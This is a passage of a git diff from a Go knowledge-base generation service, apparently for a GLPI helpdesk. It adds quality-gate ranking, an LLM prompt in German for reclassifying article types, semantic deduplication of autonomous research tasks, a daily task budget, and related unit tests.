bestCPUQuality.HardFailures})}) + } + e.Broker.Publish(model.Activity{Type: "article.draft.rejected", Source: "brain", Phase: "quality-gate", NodeIDs: draft.SourceNodeIDs, Message: "Der Artikel verfehlt nach einer gezielten Revision weiterhin harte mathematische Struktur-/Dichtegrenzen", Strength: .46, Metadata: articleRunMetadata(articleRunID, map[string]any{"trigger": trigger, "reason": "article_cpu_quality_rejected", "score": cpuQuality.Result.Score, "hard_failures": cpuQuality.Result.HardFailures, "recommendations": cpuQuality.Result.Recommendations, "agent_offloaded": cpuQuality.Offloaded})}) return articleSynthesisOutcome{Skipped: true, Reason: "article_cpu_quality_rejected", Action: plan.Action, Title: draft.Title}, nil } @@ -1265,11 +1319,12 @@ merge: Mehrere produktive Artikel überschneiden sich und sollten als Staging-En skip: Kein echter Mehrwert, bloße Dublette oder ein Thema, das auch nach realistischer Recherche keinen eigenständigen Helpdesk-Nutzen hätte. Fehlende recherchierbare Fakten sind allein kein skip-Grund: Wähle in diesem Fall create, update oder merge und setze needs_research=true mit einer präzisen ersten Suchfrage. Artikeltyp-Regeln: -- troubleshooting: konkreter Fehlerzustand, Fehlercode, Ausfall, Diagnose oder Wiederherstellung. Ein einzelner operativer Fehlercode ist troubleshooting, nicht how_to. -- how_to: bewusst auszuführende Einrichtung, Konfiguration oder Prozedur ohne primären Fehlerzustand. -- reference: mehrere Fehlercodes, Mechanismen, Statuswerte oder technische Zuordnungen, wenn kein einzelner Lösungsablauf im Mittelpunkt steht. -- concept: technische Grundlagen und Zusammenhänge ohne operativen Ablauf. +- troubleshooting: nur wenn ein konkreter Fehlerzustand, Fehlercode, Ausfall, Diagnose oder Wiederherstellung im Mittelpunkt steht UND die Quellen bereits einen realistischen ausführbaren Diagnose-/Recovery-Pfad tragen. Ein einzelner operativer Fehlercode ist troubleshooting, nicht how_to. +- how_to: nur für eine bewusst auszuführende Einrichtung, Konfiguration oder Prozedur, deren konkrete Schritte aus den Quellen ableitbar sind. +- reference: mehrere Fehlercodes, Mechanismen, Statuswerte, Profile, TTPs, Artefakte oder technische Zuordnungen, wenn kein einzelner Lösungsablauf im Mittelpunkt steht. +- concept: technische Grundlagen, Architektur und Zusammenhänge ohne operativen Ablauf. - decision_guide: Auswahl oder Abgrenzung anhand belastbarer Kriterien. +WICHTIG: Allgemeine Härtung, Prävention, Framework-/Standard-Zuordnung, Threat-Intelligence-Profile oder technische Mechanismen sind nicht automatisch troubleshooting. Wenn die Quellen keine mindestens drei konkreten belegbaren Schritte erwarten lassen, bevorzuge reference/concept/decision_guide statt einen künstlichen operationalen Artikel zu erzwingen. Erfinde keine Fakten. Bevorzuge konkrete Problemlösung gegenüber technischer Meta-Analyse. target_article_id ist bei update/merge zwingend eine SOURCE_NODE_ID einer produktiven Quelle. source_node_ids dürfen nur IDs aus dem Kontext enthalten. Wenn notwendige Fakten fehlen, setze needs_research=true. Gib ausschließlich JSON nach Schema zurück.` } @@ -2233,7 +2288,7 @@ func (e *Engine) writeKnowledgeArticleDraft(sources []articleSource, plan model. "solution_step_count": countMarkdownNumberedSteps(draft.Answer), "validation_step_count": len(cleanArticleItems(draft.Validation)), "productive_source_count": productionCount, "ai_source_count": aiCount, "production_ratio": productionRatio, "source_fingerprint": fingerprint, "synthesis_model": e.Cfg.ArticleSynthesisModel, "review_model": e.Cfg.ArticleReviewModel, - "pipeline": "adaptive_generate_review/v3-quality-v2", + "pipeline": "adaptive_generate_review/v5-quality-gate-v12", "cpu_quality_algorithm": cpuQuality.Algorithm, "cpu_quality_score": cpuQuality.Score, "cpu_quality_passed": cpuQuality.Passed, "cpu_quality_word_count": cpuQuality.WordCount, "cpu_quality_section_count": cpuQuality.SectionCount, }, @@ -2267,7 +2322,7 @@ func (e *Engine) writeKnowledgeArticleDraft(sources []articleSource, plan model. "source_nodes": externalIDsFromArticleSources(sources), "source_node_ids": sourceIDs, "productive_source_count": productionCount, "ai_source_count": aiCount, "production_ratio": productionRatio, "generation_depth": generationDepth, "confidence": draft.Confidence, "open_questions": draft.OpenQuestions, "language": articleLanguageTag(e.Cfg.ArticleLanguage), "source_fingerprint": fingerprint, - "synthesis_model": e.Cfg.ArticleSynthesisModel, "review_model": e.Cfg.ArticleReviewModel, "pipeline": "adaptive_generate_review/v3-quality-v2", + "synthesis_model": e.Cfg.ArticleSynthesisModel, "review_model": e.Cfg.ArticleReviewModel, "pipeline": "adaptive_generate_review/v5-quality-gate-v12", "knowledge_brief": brief, "research_query": plan.ResearchQuery, "research_material": evidence, "grounded_research_evidence": researchEvidenceMetadata(groundedResearch), "article_review": quality, "article_cpu_quality": cpuQuality, "review_repair_attempts": repairAttempts, diff --git a/internal/engine/article_adaptive.go b/internal/engine/article_adaptive.go index 8392eb7..d141c72 100644 --- a/internal/engine/article_adaptive.go +++ b/internal/engine/article_adaptive.go @@ -179,7 +179,7 @@ func (e *Engine) collectAdaptiveInitialResearch(ctx context.Context, trigger str } func (e *Engine) articlePipelineFingerprintIdentity() string { - return fmt.Sprintf("adaptive_generate_review/v3-quality-v2|topic-guard=strict-v2|provenance=v2|lang=%s|author=%s|reviewer=%s|research=%s|repair=%d", articleLanguageTag(e.Cfg.ArticleLanguage), strings.TrimSpace(e.Cfg.ArticleSynthesisModel), strings.TrimSpace(e.Cfg.ArticleReviewModel), e.effectiveArticleResearchStrategy(), e.Cfg.ArticleReviewRepairRounds) + return fmt.Sprintf("adaptive_generate_review/v5-quality-gate-v12|topic-guard=strict-v3-relation-evidence|provenance=v2|lang=%s|author=%s|reviewer=%s|research=%s|repair=%d", articleLanguageTag(e.Cfg.ArticleLanguage), strings.TrimSpace(e.Cfg.ArticleSynthesisModel), strings.TrimSpace(e.Cfg.ArticleReviewModel), e.effectiveArticleResearchStrategy(), e.Cfg.ArticleReviewRepairRounds) } func articleWorkFingerprint(sources []articleSource, relation model.RelationDecision, research []model.ResearchResult, pipelineIdentity string) string { diff --git a/internal/engine/article_cpu_quality.go b/internal/engine/article_cpu_quality.go index 0b5395d..012c99b 100644 --- a/internal/engine/article_cpu_quality.go +++ b/internal/engine/article_cpu_quality.go @@ -128,3 +128,22 @@ func (e *Engine) evaluateArticleCPUQuality(ctx context.Context, articleRunID str } return articleCPUQualityExecution{Result: result.Quality, Offloaded: true, AgentID: result.AgentID, ComputeMS: result.DurationMS}, nil } + +func articleCPUQualityBetter(a, b articlequality.Result) bool { + if a.Passed != b.Passed { + return a.Passed + } + if len(a.HardFailures) != len(b.HardFailures) { + return len(a.HardFailures) < len(b.HardFailures) + } + if math.Abs(a.Score-b.Score) > 0.000001 { + return a.Score > b.Score + } + if a.WordCount != b.WordCount { + return a.WordCount > b.WordCount + } + if a.SectionCount != b.SectionCount { + return a.SectionCount > b.SectionCount + } + return a.SourceUtilization > b.SourceUtilization +} diff --git a/internal/engine/article_cpu_quality_v12_test.go b/internal/engine/article_cpu_quality_v12_test.go new file mode 100644 index 0000000..736cd53 --- /dev/null +++ b/internal/engine/article_cpu_quality_v12_test.go @@ -0,0 +1,31 @@ +package engine + +import ( + "testing" + + "github.com/local/glpi-neural-brain/internal/articlequality" +) + +func TestArticleCPUQualityBetterPrefersFewerHardFailures(t *testing.T) { + better := articlequality.Result{Score: .61, WordCount: 620, HardFailures: []string{"low_information_density"}} + worse := articlequality.Result{Score: .70, WordCount: 700, HardFailures: []string{"article_too_short", "low_information_density"}} + if !articleCPUQualityBetter(better, worse) { + t.Fatal("fewer hard failures must outrank a numerically higher score") + } +} + +func TestArticleCPUQualityBetterPrefersHigherScoreWhenFailuresEqual(t *testing.T) { + better := articlequality.Result{Score: .72, WordCount: 640, HardFailures: []string{"article_too_short"}} + worse := articlequality.Result{Score: .66, WordCount: 700, HardFailures: []string{"article_too_short"}} + if !articleCPUQualityBetter(better, worse) { + t.Fatal("higher score should win when pass/fail and hard-failure count are equal") + } +} + +func TestArticleCPUQualityBetterAlwaysPrefersPassingDraft(t *testing.T) { + better := articlequality.Result{Passed: true, Score: .60, WordCount: 600} + worse := articlequality.Result{Passed: false, Score: .90, WordCount: 900, HardFailures: []string{"high_redundancy"}} + if !articleCPUQualityBetter(better, worse) { + t.Fatal("a passing draft must always outrank a failing draft") + } +} diff --git a/internal/engine/article_type_reconsider_v10.go b/internal/engine/article_type_reconsider_v10.go new file mode 100644 index 0000000..4a1213f --- /dev/null +++ b/internal/engine/article_type_reconsider_v10.go @@ -0,0 +1,79 @@ +package engine + +import ( + "context" + "fmt" + "strings" + + "github.com/local/glpi-neural-brain/internal/model" +) + +type articleTypeReconsideration struct { + Action string `json:"action"` + ArticleType string `json:"article_type"` + Reason string `json:"reason"` +} + +func articleTypeReconsiderationSchema() map[string]any { + return map[string]any{"type": "object", "properties": map[string]any{ + "action": map[string]any{"type": "string", "enum": []string{"reclassify", "skip"}}, + "article_type": map[string]any{"type": "string", "enum": []string{"reference", "concept", "decision_guide"}}, + "reason": map[string]any{"type": "string"}, + }, "required": []string{"action", "article_type", "reason"}} +} + +func articleTypeReconsiderationContext(plan model.ArticlePlanDecision, content model.KnowledgeArticleContent, sources []articleSource, evidence []model.ResearchResult) string { + var b strings.Builder + fmt.Fprintf(&b, "BISHERIGER_ARTIKELTYP: %s\n", normalizeArticleType(plan.ArticleType)) + fmt.Fprintf(&b, "PLANNER_ZIEL: %s\n", plan.ExpectedValue) + fmt.Fprintf(&b, "TITEL_ENTWURF: %s\n", content.Title) + fmt.Fprintf(&b, "PROBLEM: %s\n", clamp(content.ProblemDescription, 1000)) + fmt.Fprintf(&b, "SCHRITTE: %d\nVALIDIERUNGEN: %d\n", len(cleanArticleItems(content.SolutionSteps)), len(cleanArticleItems(content.ValidationSteps))) + fmt.Fprintf(&b, "TECHNISCHER_HINTERGRUND: %d\nTECHNISCHE_DETAILS: %d\nMAPPINGS: %d\nBEISPIELE: %d\nGRENZEN: %d\n", len(cleanArticleItems(content.TechnicalBackground)), len(cleanArticleItems(content.TechnicalDetails)), len(cleanArticleItems(content.Mappings)), len(cleanArticleItems(content.Examples)), len(cleanArticleItems(content.Limitations))) + b.WriteString("\nINTERNE QUELLENTITEL:\n") + for _, source := range sources { + fmt.Fprintf(&b, "- %s\n", source.Node.Label) + } + if len(evidence) > 0 { + b.WriteString("\nGEPRÜFTE/VERFÜGBARE WEB-EVIDENZ:\n") + for _, item := range firstResearchResults(evidence, 8) { + fmt.Fprintf(&b, "- %s | quality=%s %.2f | relevance=%.2f\n", item.Title, item.SourceQuality, item.SourceQualityScore, item.Relevance) + } + } + return b.String() +} + +func firstResearchResults(values []model.ResearchResult, limit int) []model.ResearchResult { + if limit > 0 && len(values) > limit { + return values[:limit] + } + return values +} + +func (e *Engine) reconsiderOperationalArticleType(ctx context.Context, plan model.ArticlePlanDecision, content model.KnowledgeArticleContent, sources []articleSource, evidence []model.ResearchResult) (articleTypeReconsideration, error) { + result := articleTypeReconsideration{Action: "skip", ArticleType: "reference", Reason: "operational evidence is insufficient"} + system := `Du korrigierst ausschließlich die Artikeltyp-Routingentscheidung einer Wissensdatenbank. Der bisherige how_to/troubleshooting-Entwurf hat trotz gezielter Evidenzsuche weniger als drei belastbare ausführbare Schritte oder keine belastbare Validierung. Wähle NICHT erneut how_to oder troubleshooting. + +Wähle genau eine Option: +- reference: wenn die Evidenz belastbare technische Zuordnungen, mehrere Profile/Techniken/Fehlercodes, Artefakte, Statuswerte oder technische Details trägt. +- concept: wenn Mechanismen, Grundlagen, Architektur oder Zusammenhänge der eigentliche Wissenswert sind. +- decision_guide: wenn belastbare Auswahl-/Abgrenzungskriterien vorliegen. +- skip: wenn die Evidenz auch für keinen dieser nicht-operationalen Typen genügend eigenständigen Wissensnutzen trägt. + +Erfinde keine fehlenden Schritte. Das Ziel ist keine Umgehung des Quality-Gates, sondern eine einmalige Korrektur eines offenbar falsch gewählten operationalen Artikeltyps. Gib ausschließlich JSON nach Schema zurück.` + if err := e.Ollama.ChatJSON(ctx, system, articleTypeReconsiderationContext(plan, content, sources, evidence), articleTypeReconsiderationSchema(), &result); err != nil { + return result, err + } + result.Action = strings.ToLower(strings.TrimSpace(result.Action)) + result.ArticleType = normalizeArticleType(result.ArticleType) + if result.Action != "reclassify" { + result.Action = "skip" + return result, nil + } + if result.ArticleType != "reference" && result.ArticleType != "concept" && result.ArticleType != "decision_guide" { + result.Action = "skip" + result.ArticleType = "reference" + result.Reason = nonempty(result.Reason, "reclassification did not produce a supported non-operational article type") + } + return result, nil +} diff --git a/internal/engine/autonomous_queue_v10_test.go b/internal/engine/autonomous_queue_v10_test.go new file mode 100644 index 0000000..a4cd183 --- /dev/null +++ b/internal/engine/autonomous_queue_v10_test.go @@ -0,0 +1,61 @@ +package engine + +import ( + "context" + "testing" + "time" + + "github.com/local/glpi-neural-brain/internal/graph" + "github.com/local/glpi-neural-brain/internal/model" +) + +func TestAutonomousResearchSemanticDuplicateSurvivesChangingSeedMembership(t *testing.T) { + a := model.ResearchTask{Topic: "T1133 / T1078 / T1588.001", SeedNodeIDs: []string{"a", "b", "c"}, Questions: []string{"Wie hängen T1133 T1078 und T1588.001 zusammen?"}} + b := model.ResearchTask{Topic: "T1133 / T1078 / T1588.001", SeedNodeIDs: []string{"a", "d"}, Questions: []string{"Welche Abwehrmaßnahmen betreffen T1133, T1078 und T1588.001?"}} + if !autonomousResearchSemanticDuplicate(a, b) { + t.Fatalf("same ATT&CK opportunity with changed seeds should dedupe, similarity=%.3f", autonomousResearchTaskSimilarity(a, b)) + } + c := model.ResearchTask{Topic: "Windows Update CBS 0x80D02002", SeedNodeIDs: []string{"x"}} + if autonomousResearchSemanticDuplicate(a, c) { + t.Fatalf("unrelated opportunities should not dedupe, similarity=%.3f", autonomousResearchTaskSimilarity(a, c)) + } +} + +func TestMergeQueuedResearchTaskAndPersistentTotals(t *testing.T) { + store, err := graph.Open(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer store.Close() + ctx := context.Background() + queued, created, err := store.EnqueueResearchTask(ctx, model.ResearchTask{DedupeKey: "a", Topic: "ATT&CK cluster", RequestedBy: "autonomous-scanner", Priority: .7, SeedNodeIDs: []string{"a"}, Questions: []string{"q1"}}, time.Hour) + if err != nil || !created { + t.Fatalf("enqueue failed created=%v err=%v", created, err) + } + merged, changed, err := store.MergeQueuedResearchTask(ctx, queued.ID, model.ResearchTask{Topic: "ATT&CK cluster", Priority: .9, SeedNodeIDs: []string{"b"}, Questions: []string{"q2"}}) + if err != nil || !changed { + t.Fatalf("merge failed changed=%v err=%v", changed, err) + } + if merged.Priority != .9 || len(merged.SeedNodeIDs) != 2 || len(merged.Questions) != 2 { + t.Fatalf("unexpected merged task: %+v", merged) + } + leased, ok, err := store.LeaseNextResearchTask(ctx, 0, time.Minute) + if err != nil || !ok { + t.Fatalf("lease failed ok=%v err=%v", ok, err) + } + if err := store.MarkResearchTaskRunning(ctx, leased.ID); err != nil { + t.Fatal(err) + } + leased.EvidenceCount = 3 + leased.ArticleCreated = true + if err := store.CompleteResearchTask(ctx, leased); err != nil { + t.Fatal(err) + } + totals, err := store.ResearchTaskPersistentTotals(ctx) + if err != nil { + t.Fatal(err) + } + if totals["completed"] != 1 || totals["evidence"] != 3 || totals["articles"] != 1 { + t.Fatalf("unexpected persistent totals: %+v", totals) + } +} diff --git a/internal/engine/autonomous_research.go b/internal/engine/autonomous_research.go index ccfdb99..9ef8af5 100644 --- a/internal/engine/autonomous_research.go +++ b/internal/engine/autonomous_research.go @@ -15,7 +15,6 @@ import ( "github.com/local/glpi-neural-brain/internal/graph" "github.com/local/glpi-neural-brain/internal/model" - "github.com/local/glpi-neural-brain/internal/ollama" ) type autonomousCandidate struct { @@ -48,6 +47,9 @@ func (e *Engine) startAutonomousResearch(ctx context.Context) { if _, err := e.Graph.ResetExpiredResearchTaskLeases(ctx); err != nil { slog.Warn("reset expired autonomous research leases failed", "error", err) } + if _, err := e.consolidateAutonomousResearchQueue(ctx); err != nil { + slog.Warn("consolidate autonomous research queue failed", "error", err) + } go e.autonomousResearchScanner(ctx) go e.autonomousResearchWorker(ctx) // Existing queued work is resumed after every restart. The scheduler scan is @@ -55,6 +57,9 @@ func (e *Engine) startAutonomousResearch(ctx context.Context) { e.signalAutonomousResearch() go func() { delay := 45 * time.Second + if e.SpeedModeEnabled() { + delay = 0 + } timer := time.NewTimer(delay) defer timer.Stop() select { @@ -128,7 +133,7 @@ func (e *Engine) autonomousResearchScanner(ctx context.Context) { } func (e *Engine) scanAutonomousResearchOpportunities(ctx context.Context, trigger string) error { - ctx = ollama.WithLowPriority(ctx) + ctx = e.backgroundOllamaContext(ctx) settings := e.RuntimeSettings() candidates := buildAutonomousCandidates(e.Graph.Snapshot(), e.effectiveThinkingFilter(), e.Cfg.AutonomousResearchOpportunityLimit) e.beginAutonomousOpportunityScan(trigger, len(candidates)) @@ -137,13 +142,38 @@ func (e *Engine) scanAutonomousResearchOpportunities(ctx context.Context, trigge e.Broker.Publish(model.Activity{Type: "autonomous.research.scan.completed", Source: "brain", Phase: "autonomous-research", Message: "Der Graph enthält aktuell keine ausreichend starke autonome Recherchechance", Strength: .24, Metadata: map[string]any{"trigger": trigger, "candidate_count": 0, "created": 0, "decisions": []any{}, "rejection_counts": map[string]int{}}}) return nil } + if _, err := e.consolidateAutonomousResearchQueue(ctx); err != nil { + slog.Warn("autonomous queue consolidation before scan failed", "error", err) + } + completedToday, activeQueued, remainingBudget, budgetErr := e.autonomousResearchDailyBudget(ctx, settings) + if budgetErr != nil { + return budgetErr + } + if remainingBudget <= 0 { + decisions := make([]autonomousOpportunityDecision, 0, len(candidates)) + for _, candidate := range candidates { + decision := newAutonomousOpportunityDecision(candidate) + decision.RejectionReason = "daily_budget_exhausted" + decision.RecommendedAction = "wait_for_next_utc_day_or_finish_queue" + decisions = append(decisions, decision) + } + e.finishAutonomousOpportunityScan(trigger, 0, decisions) + e.Broker.Publish(model.Activity{Type: "autonomous.research.scan.completed", Source: "brain", Phase: "autonomous-research", Message: "Autonome Graphanalyse abgeschlossen · Tagesbudget beziehungsweise bereits eingeplante Arbeit schöpft die aktuelle Kapazität aus", Strength: .34, Metadata: map[string]any{"trigger": trigger, "candidate_count": len(candidates), "created": 0, "completed_today": completedToday, "active_research_tasks": activeQueued, "daily_limit": settings.AutonomousResearchMaxTasksPerDay, "remaining_budget_slots": 0, "decisions": decisions, "rejection_counts": autonomousDecisionRejectionCounts(decisions)}}) + return nil + } limit := settings.AutonomousResearchTasksPerCycle + if settings.SpeedMode { + limit = remainingBudget + } if limit < 1 { limit = 1 } + if limit > remainingBudget { + limit = remainingBudget + } created := 0 decisions := make([]autonomousOpportunityDecision, 0, len(candidates)) - e.Broker.Publish(model.Activity{Type: "autonomous.research.scan.started", Source: "brain", Phase: "autonomous-research", Message: fmt.Sprintf("%d Graphsignale werden als mögliche Wissenslücken bewertet", len(candidates)), Strength: .66, Metadata: map[string]any{"trigger": trigger, "candidate_count": len(candidates), "task_limit": limit}}) + e.Broker.Publish(model.Activity{Type: "autonomous.research.scan.started", Source: "brain", Phase: "autonomous-research", Message: fmt.Sprintf("%d Graphsignale werden als mögliche Wissenslücken bewertet", len(candidates)), Strength: .66, Metadata: map[string]any{"trigger": trigger, "candidate_count": len(candidates), "task_limit": limit, "completed_today": completedToday, "active_research_tasks": activeQueued, "daily_limit": settings.AutonomousResearchMaxTasksPerDay, "remaining_budget_slots": remainingBudget}}) for _, candidate := range candidates { decision := newAutonomousOpportunityDecision(candidate) if created >= limit { @@ -206,6 +236,30 @@ func (e *Engine) scanAutonomousResearchOpportunities(ctx context.Context, trigge "signals": candidate.Signals, }, } + if duplicate, found, duplicateErr := e.findAutonomousResearchSemanticDuplicate(ctx, task); duplicateErr != nil { + decision.RejectionReason = "semantic_dedupe_error" + decision.KnowledgeGap = duplicateErr.Error() + decision.RecommendedAction = "retry_next_scan" + decisions = append(decisions, decision) + continue + } else if found { + merged, changed, mergeErr := e.Graph.MergeQueuedResearchTask(ctx, duplicate.ID, task) + if mergeErr != nil { + decision.RejectionReason = "semantic_dedupe_error" + decision.KnowledgeGap = mergeErr.Error() + decision.RecommendedAction = "retry_next_scan" + decisions = append(decisions, decision) + continue + } + decision.RejectionReason = "semantic_queue_duplicate" + decision.RecommendedAction = "merged_into_existing_task" + decision.SourceNodeIDs = append([]string(nil), merged.SeedNodeIDs...) + decisions = append(decisions, decision) + if changed { + e.Broker.Publish(model.Activity{Type: "autonomous.research.task.merged", Source: "brain", Phase: "autonomous-research-queue", NodeIDs: merged.SeedNodeIDs, Message: fmt.Sprintf("Semantisch gleiche Wissenslücke wurde in vorhandene Rechercheaufgabe zusammengeführt · %s", merged.Topic), Strength: .54, Metadata: map[string]any{"task_id": merged.ID, "incoming_topic": task.Topic, "similarity": autonomousResearchTaskSimilarity(duplicate, task), "algorithm": "topic-seed-question-jaccard-v1"}}) + } + continue + } queued, wasCreated, err := e.Graph.EnqueueResearchTask(ctx, task, e.Cfg.AutonomousResearchCooldown) if err != nil { decision.RejectionReason = "enqueue_error" @@ -444,7 +498,7 @@ func (e *Engine) autonomousMayUseOllama(_ bool) bool { if !autonomousResearchRuntimeAllowed(settings, e.ResearchEnabledForRuntime()) { return false } - if settings.AutonomousResearchIdleOnly { + if settings.AutonomousResearchIdleOnly && !settings.SpeedMode { if e.interactiveInflight.Load() > 0 { return false } @@ -461,7 +515,7 @@ func (e *Engine) autonomousMayUseOllama(_ bool) bool { } } for _, node := range e.Ollama.NodeStatuses() { - if node.Healthy && node.Compatible && node.Inflight < e.Cfg.OllamaNodeMaxInflight && time.Now().After(node.CooldownUntil) { + if node.Healthy && node.Compatible && node.Inflight < e.Ollama.NodeMaxInflight() && time.Now().After(node.CooldownUntil) { return true } } @@ -471,7 +525,7 @@ func (e *Engine) autonomousMayUseOllama(_ bool) bool { func (e *Engine) runAutonomousResearchTask(parent context.Context, task model.ResearchTask) { ctx, cancel := context.WithTimeout(parent, maxDuration(e.Cfg.OllamaRequestTimeout*3, 20*time.Minute)) defer cancel() - ctx = ollama.WithLowPriority(ctx) + ctx = e.backgroundOllamaContext(ctx) if err := e.Graph.MarkResearchTaskRunning(ctx, task.ID); err != nil { slog.Warn("mark autonomous research task running failed", "task_id", task.ID, "error", err) return @@ -534,6 +588,9 @@ func (e *Engine) runAutonomousResearchTask(parent context.Context, task model.Re message = fmt.Sprintf("Autonome Recherche hat einen KB-Entwurf erstellt · %s", outcome.ArticleTitle) } e.Broker.Publish(model.Activity{Type: "autonomous.research.task.completed", Source: "brain", Phase: "autonomous-research", NodeIDs: task.SeedNodeIDs, Message: message, Strength: 1, Metadata: map[string]any{"task_id": task.ID, "outcome": outcome.Outcome, "evidence_count": outcome.EvidenceCount, "queries_executed": outcome.QueriesExecuted, "pages_fetched": outcome.PagesFetched, "article_created": outcome.ArticleCreated, "article_title": outcome.ArticleTitle, "article_path": outcome.ArticlePath}}) + if e.SpeedModeEnabled() { + e.RequestAutonomousResearchScan("speed-drain") + } } type autonomousTaskOutcome struct { @@ -638,6 +695,16 @@ func (e *Engine) executeAutonomousResearchTask(ctx context.Context, task model.R if err != nil { return outcome, err } + // Autonomous synthesis bypasses EnrichOne's process counters. Keep the + // runtime dashboard truthful for autonomous article outcomes as well. + e.stateMu.Lock() + if article.Created { + e.articlesCreated++ + } + if article.Skipped { + e.articlesSkipped++ + } + e.stateMu.Unlock() outcome.ArticleReason = article.Reason if article.Created { outcome.Outcome = "article_created" @@ -1329,6 +1396,186 @@ func autonomousNodeSetJaccard(a, b []string) float64 { return float64(intersection) / float64(union) } +func autonomousResearchActiveTasks(ctx context.Context, store *graph.Store) ([]model.ResearchTask, error) { + tasks, err := store.ListResearchTasks(ctx, 500, "queued", "deferred", "reserved", "running") + if err != nil { + return nil, err + } + out := make([]model.ResearchTask, 0, len(tasks)) + for _, task := range tasks { + if task.RequestedBy == "autonomous-scanner" { + out = append(out, task) + } + } + return out, nil +} + +func stringSetJaccard(a, b []string) float64 { + left := map[string]bool{} + right := map[string]bool{} + for _, value := range a { + value = strings.TrimSpace(strings.ToLower(value)) + if value != "" { + left[value] = true + } + } + for _, value := range b { + value = strings.TrimSpace(strings.ToLower(value)) + if value != "" { + right[value] = true + } + } + if len(left) == 0 && len(right) == 0 { + return 0 + } + intersection := 0 + union := map[string]bool{} + for value := range left { + union[value] = true + if right[value] { + intersection++ + } + } + for value := range right { + union[value] = true + } + return float64(intersection) / float64(len(union)) +} + +func researchTermSlice(value string) []string { + terms := researchTerms(value) + out := make([]string, 0, len(terms)) + for term := range terms { + out = append(out, term) + } + sort.Strings(out) + return out +} + +func autonomousResearchTaskSimilarity(a, b model.ResearchTask) float64 { + if strings.TrimSpace(a.DedupeKey) != "" && a.DedupeKey == b.DedupeKey { + return 1 + } + topic := stringSetJaccard(researchTermSlice(a.Topic), researchTermSlice(b.Topic)) + seed := stringSetJaccard(a.SeedNodeIDs, b.SeedNodeIDs) + questions := stringSetJaccard(researchTermSlice(strings.Join(a.Questions, " ")), researchTermSlice(strings.Join(b.Questions, " "))) + // Topic identity dominates, but changing orphan-cluster membership must not + // create a fresh queue entry for the same semantic gap. + return clamp01(topic*.62 + seed*.23 + questions*.15) +} + +func autonomousResearchSemanticDuplicate(a, b model.ResearchTask) bool { + if strings.TrimSpace(a.DedupeKey) != "" && a.DedupeKey == b.DedupeKey { + return true + } + topic := stringSetJaccard(researchTermSlice(a.Topic), researchTermSlice(b.Topic)) + seed := stringSetJaccard(a.SeedNodeIDs, b.SeedNodeIDs) + questions := stringSetJaccard(researchTermSlice(strings.Join(a.Questions, " ")), researchTermSlice(strings.Join(b.Questions, " "))) + if topic >= .72 { + return true + } + if topic >= .42 && seed >= .45 { + return true + } + return topic >= .50 && questions >= .55 +} + +func (e *Engine) findAutonomousResearchSemanticDuplicate(ctx context.Context, incoming model.ResearchTask) (model.ResearchTask, bool, error) { + active, err := autonomousResearchActiveTasks(ctx, e.Graph) + if err != nil { + return model.ResearchTask{}, false, err + } + bestScore := 0.0 + var best model.ResearchTask + for _, task := range active { + if !autonomousResearchSemanticDuplicate(task, incoming) { + continue + } + score := autonomousResearchTaskSimilarity(task, incoming) + if score > bestScore { + bestScore = score + best = task + } + } + return best, best.ID != "", nil +} + +// consolidateAutonomousResearchQueue collapses semantically equivalent queued +// work after upgrades/restarts and before new opportunity scans. Running work is +// never cancelled. The highest-priority/oldest queued task becomes the keeper. +func (e *Engine) consolidateAutonomousResearchQueue(ctx context.Context) (int, error) { + tasks, err := e.Graph.ListResearchTasks(ctx, 500, "queued", "deferred") + if err != nil { + return 0, err + } + filtered := make([]model.ResearchTask, 0, len(tasks)) + for _, task := range tasks { + if task.RequestedBy == "autonomous-scanner" { + filtered = append(filtered, task) + } + } + sort.SliceStable(filtered, func(i, j int) bool { + if filtered[i].Priority != filtered[j].Priority { + return filtered[i].Priority > filtered[j].Priority + } + return filtered[i].CreatedAt.Before(filtered[j].CreatedAt) + }) + merged := 0 + cancelled := map[string]bool{} + for i := 0; i < len(filtered); i++ { + keeper := filtered[i] + if cancelled[keeper.ID] { + continue + } + for j := i + 1; j < len(filtered); j++ { + candidate := filtered[j] + if cancelled[candidate.ID] || !autonomousResearchSemanticDuplicate(keeper, candidate) { + continue + } + updated, changed, mergeErr := e.Graph.MergeQueuedResearchTask(ctx, keeper.ID, candidate) + if mergeErr != nil { + return merged, mergeErr + } + if changed { + keeper = updated + } + ok, cancelErr := e.Graph.CancelResearchTask(ctx, candidate.ID) + if cancelErr != nil { + return merged, cancelErr + } + if ok { + cancelled[candidate.ID] = true + merged++ + } + } + } + if merged > 0 && e.Broker != nil { + e.Broker.Publish(model.Activity{Type: "autonomous.research.queue.consolidated", Source: "brain", Phase: "autonomous-research-queue", Message: fmt.Sprintf("%d semantisch redundante Rechercheaufgaben wurden in vorhandene Queue-Einträge zusammengeführt", merged), Strength: .52, Metadata: map[string]any{"merged_tasks": merged, "algorithm": "topic-seed-question-jaccard-v1"}}) + } + return merged, nil +} + +func (e *Engine) autonomousResearchDailyBudget(ctx context.Context, settings RuntimeSettings) (completed, active, remaining int, err error) { + startOfDay := time.Now().UTC().Truncate(24 * time.Hour) + completed, err = e.Graph.CountResearchTasksCompletedSince(ctx, startOfDay) + if err != nil { + return 0, 0, 0, err + } + // The same worker leases API/manual and autonomous-scanner tasks. Reserve + // daily capacity against the whole active queue so a fast opportunity scan + // cannot create a backlog that the worker cannot consume inside the budget. + activeTasks, err := e.Graph.ListResearchTasks(ctx, 500, "queued", "deferred", "reserved", "running") + if err != nil { + return 0, 0, 0, err + } + active = len(activeTasks) + remaining = settings.AutonomousResearchMaxTasksPerDay - completed - active + if remaining < 0 { + remaining = 0 + } + return completed, active, remaining, nil +} + func autonomousDedupeKey(topic string, seedIDs []string) string { ids := append([]string(nil), seedIDs...) sort.Strings(ids) @@ -1399,21 +1646,29 @@ func (e *Engine) AutonomousResearchStatus(ctx context.Context) map[string]any { if err != nil { counts = map[string]int{} } + persistentTotals, totalsErr := e.Graph.ResearchTaskPersistentTotals(ctx) + if totalsErr != nil { + persistentTotals = map[string]int{} + } e.stateMu.RLock() lastScanDecisions := append([]autonomousOpportunityDecision(nil), e.autonomousLastScanDecisions...) + settings := e.RuntimeSettings() status := map[string]any{ - "enabled": e.RuntimeSettings().AutonomousResearchEnabled, - "idle_only": e.RuntimeSettings().AutonomousResearchIdleOnly, - "running": e.autonomousRunning, - "task_id": e.autonomousTaskID, - "task_topic": e.autonomousTaskTopic, - "last_started": e.autonomousLastStarted, - "last_completed": e.autonomousLastCompleted, - "last_error": e.autonomousLastError, - "completed_total": e.autonomousCompleted, - "failed_total": e.autonomousFailed, - "evidence_total": e.autonomousEvidence, - "articles_total": e.autonomousArticles, + "enabled": settings.AutonomousResearchEnabled, + "idle_only": 